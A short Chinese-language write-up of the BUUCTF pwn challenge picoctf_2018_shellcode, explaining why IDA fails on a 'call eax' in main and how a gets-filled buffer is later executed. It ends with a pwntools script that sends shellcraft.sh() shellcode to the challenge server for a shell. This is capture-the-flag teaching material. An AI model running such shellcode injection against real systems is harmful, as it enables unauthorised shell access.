[BUUCTF-pwn]——picoctf_2018_shellcode
论学好汇编的重要性。在这道题得到了体现。
第一次面向汇编, 说实话看的挺慢的。
话不多说
直接上
checksec看下
IDA中没法发反汇编,只能面向汇编编程。无法反汇编是call eax的问题,但是这个指令应该没有错,只能说这个时间eax存储着一个函数地址。也就是[ebp+var_A0]偏移处的函数。
我们可以发现这个偏移也是vuln函数的参数。在vuln函数内,我们发现gets函数写入的位置也是这里(ebp+8,32位就是参数的位置)。
所以也就是我们直接写入shellcode,当执行call eax时就会自动执行。
当然这个只有main函数不可以反汇编其他还是可以的,你们也可以结合参考一下
exploit
from pwn import *
p = remote("node3.buuoj.cn",27027)
shellcode = asm(shellcraft.sh())
p.sendlineafter('Enter a string!\n',shellcode)
p.interactive()